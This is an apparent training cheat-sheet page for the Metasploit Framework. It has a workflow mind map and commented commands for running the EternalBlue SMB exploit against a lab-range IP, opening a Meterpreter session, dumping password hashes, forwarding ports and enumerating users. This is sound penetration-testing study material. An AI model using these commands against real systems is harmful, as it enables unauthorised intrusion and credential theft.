Metasploit Workflow

Using Metasploit Framework

Metasploit Framework

Tip: Click on any node to see related information!

MAP Interactive Mind Map

graph TD A[msfconsole] --> B[search exploit] B --> C[use module] C --> D[show options] D --> E[set RHOSTS] E --> F[set LHOST] F --> G[exploit] G --> H{Result} H -->|Session| I[Meterpreter] H -->|Fail| B I --> J[Post Exploitation]

REF Quick Reference

Basic Usage

msfconsole # Start Metasploit Framework
search type:exploit name:smb # Search for SMB exploits
use exploit/windows/smb/ms17_010_eternalblue # Select EternalBlue exploit
set RHOSTS 10.10.10.5 # Set target IP
set LHOST tun0 # Set listener interface
exploit # Run the exploit

Meterpreter

getuid # Show current user context
sysinfo # Show system information
hashdump # Dump password hashes
upload/download # Transfer files
portfwd add -l 8080 -p 80 -r 10.10.10.6 # Forward local port 8080 to remote 80

Post Modules

run post/windows/gather/enum_logged_on_users # Enumerate logged on users
run post/multi/recon/local_exploit_suggester # Suggest local exploits
Back to Mind Maps View Full Module